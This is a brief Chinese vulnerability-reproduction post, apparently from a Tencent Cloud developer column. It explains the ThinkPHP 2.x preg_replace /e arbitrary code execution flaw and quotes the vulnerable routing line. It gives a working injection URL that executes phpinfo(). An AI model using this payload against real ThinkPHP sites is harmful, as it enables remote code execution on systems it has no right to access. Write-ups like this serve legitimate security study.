首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >ThinkPHP 2.x 任意代码执行漏洞复现

ThinkPHP 2.x 任意代码执行漏洞复现

作者头像
渗透攻击红队
发布2019-11-20 11:57:26
发布2019-11-20 11:57:26
1.7K0
举报
文章被收录于专栏:漏洞知识库漏洞知识库
漏洞知识库

网络安全/渗透测试/代码审计/

关注

ThinkPHP 2.x 任意代码执行漏洞复现

ThinkPHP 2.x 任意代码执行漏洞介绍

ThinkPHP 2.x 版本中,使用preg_replace/e模式匹配路由:

$res = preg_replace(‘@(\w+)’.$depr.’([^’.$depr.’\/]+)@e’, ‘$var[\’\1\’]=”\2”;’, implode($depr,$paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

ThinkPHP 3.0 版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。

漏洞复现

这是Tp的默认页面,然后我们在网站后面加上:

index.php?s=/index/index/name/${@phpinfo()}

成功执行phpinfo!

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-10-21,如有侵权请联系 cloudcommunity@tencent.com 删除
目录
  • 漏洞复现
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档